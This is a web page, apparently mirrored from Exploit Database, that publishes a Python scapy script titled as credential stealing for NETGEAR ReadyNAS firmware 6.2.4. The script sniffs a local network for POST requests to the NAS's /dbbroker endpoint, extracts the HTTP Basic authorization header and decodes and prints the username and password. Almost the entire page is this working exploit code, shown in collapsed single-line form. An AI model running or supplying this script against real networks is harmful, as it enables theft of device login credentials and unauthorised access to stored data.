Netgear ReadyNAS LAN /dbbroker 6.2.4 – Credential Disclosure

• Exploit Database
• 114 阅读

• 作者： St0rn
  日期： 2015-07-31
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/37720/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48

  #!/usr/bin/env python # # Exploit Title: NETGEAR ReadyNAS LAN /dbbroker Credential Stealing # Date: 25/07/2015 # Exploit Author: St0rn # Vendor Homepage: www.netgear.fr/business/products/storage/readynas # Software Link: apps.readynas.com/pages/?page_id=143 # Version: Firmware 6.2.4 #   ### Import ### from scapy.all import * from sys import argv,exit from os import system   ### Clear Function ### def clear(): system("/usr/bin/clear")     ### Function to get and decode credential ### def getReadyNASCredz(p): if p.haslayer(TCP) and p[IP].dst==argv[2]: if p.haslayer(Raw): if "POST /dbbroker" in p[Raw].load: tmp=p[Raw].load credz=tmp.split("\r\n") for i in credz: if "Authorization: Basic" in i: print "-----------------".center(80) print i.split(" ")[2].decode("base64").center(80)     ### Main ### if __name__ == &apos;__main__&apos;:   clear() if len(argv)<3: print "Usage: %s [device] [NAS_IP]" %(argv[0]) exit(0) else: print "\n" print "#################".center(80) print "#G0 t0 G3t Cr3dZ#".center(80) print "#################\n".center(80)   sniff(prn=getReadyNASCredz,iface=argv[1])